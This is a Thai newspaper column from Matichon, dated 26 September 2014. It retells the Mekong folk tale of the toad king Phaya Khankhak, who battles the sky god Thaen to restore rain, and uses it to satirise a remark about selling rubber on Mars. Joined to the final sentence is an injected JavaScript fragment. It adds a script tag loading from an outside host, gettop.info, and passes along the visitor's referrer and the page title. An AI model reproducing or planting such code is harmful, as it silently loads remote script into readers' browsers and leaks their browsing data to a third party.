มติชนรายวัน ฉบับประจำวันศุกร์ที่ 26 กันยายน 2557

 

ไปดาวอังคารกับพญาคันคาก

           อารมณ์ขันของคนมีอำนาจเหนือกว่า บางครั้งสร้างความขมขื่นให้คนด้อยกว่า ดังกรณีให้เอายางพาราที่มีมากไปขายบนดาวอังคาร

           แต่อารมณ์ขันที่มีพลังสร้างสรรค์สูงมากๆ แล้วนับเป็นคลาสสิคอย่างยิ่ง คือนิทานเรื่องพญาคันคากของคนหลายเผ่าพันธุ์บริเวณลุ่มน้ำโขง (คันคาก เป็นคำลาว ตรงกับคำไทยภาคกลางว่า คางคก เป็นสัตว์ครึ่งบกครึ่งน้ำกลุ่มเดียวกับกบ) มีเรื่องย่อต่อไปนี้

           พญาแถนเป็นใหญ่บนฟ้าที่มีห้วงน้ำขังอยู่ตามเมฆหมอกมหาศาล แต่คราวหนึ่งไม่ปล่อยน้ำเป็นฝนตกตามฤดูกาลสู่โลกมนุษย์

           คนทั้งหลายเดือดร้อน จึงวิงวอนให้พญาคันคากแก้ไข มีเล่าไว้ในสารานุกรมฯ ภาคอีสาน (เล่ม 9 หน้า 2898) จะคัดมาอย่างสรุปรวบรัดดังนี้

           พญาคันคากคิดหาทางขึ้นฟ้าไปเมืองแถน ได้ไปตามพวก ครุฑ นาค ปลวก มาก่อภูเขาทำทางแล้วขึ้นไปรบพระยาแถน

           พญาคันคากเสกเป่าให้มีกบเขียดมากมายเหมือนกองทัพยกขึ้นเมืองแถน ทำให้ชาวแถนตกใจกลัวอย่างยิ่ง พระยาแถนก็เสกเป่าให้มีงูร้ายมากมายหลายชนิด ออกจับกบและเขียดกิน

           พญาคันคากแก้ไขโดยเสกให้ครุฑและกามาจิกกินงู พระยาแถนเสกให้หมามาวิ่งไล่จับครุฑและกากิน

           พญาคันคากให้เสือโคร่งออกมาจับกินหมา

           พระยาแถนยิงธนูให้กลายเป็นห่าฝนหอกดาบตกลงมาเสียบคนล้มตายจำนวนมาก พญาคันคากเนรมิตปีกให้แผ่กว้างเพื่อกำบังห่าฝนหอกดาบ และเสกเป่าให้ผู้คนที่ล้มตายกลับฟื้นคืนชีพขึ้นมาอีกครั้งหนึ่ง

           พญาคันคากกับพระยาแถน ต่างก็มีคาถาอาคมเสมอกัน ไม่มีใครแพ้ใครชนะ จึงได้ออกชนช้าง ในที่สุดพญาแถนแพ้

           พญาคันคากมีบัญชาให้พระยาแถนยอมให้นาคมาเล่นน้ำบนฟ้า น้ำจะได้ล้นกระฉอกเป็นฝนตกบนพื้นพิภพดังเดิม

           สัตว์ต่างๆที่พญาคันคากกับพญาแถนเสกเป่าสู้กันจึงเป็นศัตรูกันตั้งแต่นั้นมา

           คนยังไปดาวอังคารไม่ได้ แต่พญาคันคากมีพลังสร้างสรรค์อาจขึ้นไปถึงดาวอังคารได้ ดังเคยยกทัพขึ้นฟ้ารบชนะแถนมาแล้ว

           แต่คนรู้จักพญาคันคากไม่มากนัก เพราะวรรณกรรมของความเป็นไทยไม่รับรู้นิทานพญาคันคาก

           คนเลยแข็งทื่อ เพราะจินตนาการขาดแคลน ต้องทดแทนโดยอ่านแฮร์รี่ พอตเตอร์ และเรื่องอื่นๆของโลกนิทานตะวันตก-ตะวันออกที่ไม่ไทยd.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;